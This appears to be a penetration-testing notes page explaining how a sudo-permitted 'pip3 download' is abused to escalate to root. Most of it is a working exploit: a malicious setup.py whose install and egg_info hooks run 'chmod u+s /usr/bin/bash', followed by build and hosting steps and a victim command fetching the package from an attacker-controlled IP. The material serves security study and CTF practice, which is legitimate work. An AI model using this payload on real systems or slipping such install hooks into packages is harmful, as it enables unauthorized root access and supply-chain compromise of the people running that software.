# Pip Download Code Execution

## Theory

Pip is a package management system written in Python. It can download custom Python package so we can create a malicious package to execute arbitrary code.

## Practice

{% tabs %}
{% tab title="Enumerate" %}
Assume that `pipe download` can be executed as root with sudo rights. if we controll its input, then its vulnerable to arbitrary code execution.

```bash
sudo -l
    (root): /usr/bin/pip3 download http\://*.tar.gz
```

{% endtab %}

{% tab title="Exploit" %}
On attacking machine, we can clone the [this\_is\_fine\_wuzzi](https://github.com/wunderwuzzi23/this_is_fine_wuzzi) GitHub repo, or create our own source for the pip package as follow:

* Assuming the package name is `MySimplePackage`. We need to create the following files and folders: `setup.py` in the project root, and `init.py`, `main.py` in src directory.

```bash
mkdir MySimplePackage && cd MySimplePackage
touch setup.py
mkdir src
touch src/__init__.py
echo 'print("hello")' > src/main.py
```

* write something similar in the `setup.py` file. You may edit the `RunCommand()` function.

```python
# setup.py
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
	# Arbitrary code here!
	import os;os.system("chmod u+s /usr/bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "MySimplePackage",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)
```

* Build the malicious package

```bash
# If you don't have modules below, install them first.
pip3 install setuptools
pip3 install build

# Build - It generates .tar.gz file in dist folder.
python3 -m build
```

Finally host the package and run the `pip download` on the victime machine

```bash
sudo /usr/bin/pip3 download http://<ATTACKING_IP>/MySimplePackage-0.0.1.tar.gz
```

{% hint style="info" %}
We can host the package using `pypi-server`

```bash
# Install the module if you don't have it
pip3 install pypiserver

# Copy the tar.gz file into the "package" folder.
mkdir package
cp ./MySimplePackage/dist/MySimplePackage-0.0.1.tar.gz ./package
pypi-server run -v -p 8000 ./package
```

And download it as follow

```bash
pip3 download exploitpy --index-url https://localhost:8000 -v
```

{% endhint %}
{% endtab %}
{% endtabs %}

## References

{% embed url="<https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/pip-download-code-execution/>" %}
